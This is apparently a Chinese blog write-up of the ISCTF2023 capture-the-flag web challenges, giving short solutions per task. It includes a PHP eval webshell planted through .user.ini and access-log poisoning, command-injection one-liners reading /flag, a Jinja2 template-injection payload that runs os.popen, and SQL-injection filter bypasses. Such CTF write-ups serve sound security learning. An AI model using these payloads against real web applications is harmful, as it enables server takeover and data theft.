[WP] ISCTF2023 Web 部分题解

圣杯战争!!!

反序列化+伪协议读取

where_is_the_flag

环境变量+根目录+当前目录

绕进你的心里

利用正则最大回溯绕过

easy_website

or select 用双写绕过 空格用/**/绕,报错注入

wafr

code=system('ca\t /f*')

webinclude

扫描得到index.bak备份文件打开为加密的代码 写个逆向脚本再反求parameter即可

复制代码
JavaScript
const hash = 'dxdydxdudxdtdxeadxekdxea';

function string_to_int_array(str) {
  const intArr = [];
  for (let i = 0; i < str.length; i++) {
    intArr.push(str.charCodeAt(i) - 97);
  }
  return intArr;
}

function int_array_to_string(int_array) {
  let str = '';
  for (let i = 0; i < int_array.length; i += 2) {
    const charcode = int_array[i] * 26 + int_array[i + 1];
    str += String.fromCharCode(charcode);
  }
  return str;
}

console.log(int_array_to_string(string_to_int_array(int_array_to_string(string_to_int_array(hash)))));

得到参数名 直接伪协议读取flag.php

ez_ini

ini文件上传 +UA头添加木马

.user.ini 文件:

复制代码
GIF89A
auto_append_file="/var/log/nginx/access.log"

木马:

复制代码
<?php @eval($_POST['wenda']);?

然后远程命令执行就行了

复制代码
POST:

wenda=system('tac /flag');

注意一下上传ini文件的时候 type类型要改成image/jpeg 或者/image/png 类型】

或者直接ini 文件直接读取file:///flag 就行

复制代码
auto_prepend_file=file:///flag

fuzz!

通配符【】绕过 字符过滤 管道符| 拼接命令

复制代码
?file=|tac /fl[a-z]ggggggg.txt

恐怖 G7

ssti注入:

复制代码
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}
相关推荐
安全小王子20 小时前
nssctf_chicken_soup
网络安全·逆向·ctf·nssctf
安全小王子20 小时前
nssctf——老鼠走迷宫
网络安全·逆向·ctf·nssctf
安全小王子1 天前
nssctf_easyapp
网络安全·逆向·ctf·nssctf
安全小王子3 天前
nssctf_sign-ezc++
网络安全·逆向·ctf·nssctf
whcyhhh4 天前
CTF‑MISC 隐写术完整学习笔记|图片隐写全题型 + 工具 + 实战例题
python·网络安全·ctf·misc·信息隐藏
sbjdhjd6 天前
CTF 技术复盘:从参数类型绕过到正则回溯 | Merry Christmas PHP CTF(gift.php & gift_plus.php)
安全·网络安全·云计算·php·ctf·红队·网络攻防
Yan_chen6668 天前
[GXYCTF2019] PingPingPing 命令注入实操笔记
ctf·ping ping ping
wyjcxyyy1 个月前
若依框架漏洞总结
java·ctf
print_Hyon1 个月前
【CTF-WEB-sql注入】使用随波逐流WEB安全工具进行SQLMAP注入
ctf
print_Hyon1 个月前
【CTF-WEB-反序列化】通过构造反序列化 POP 链,触发文件写入函数,绕过代码中自带的exit()安全头部,写入可执行的 PHP 后门
ctf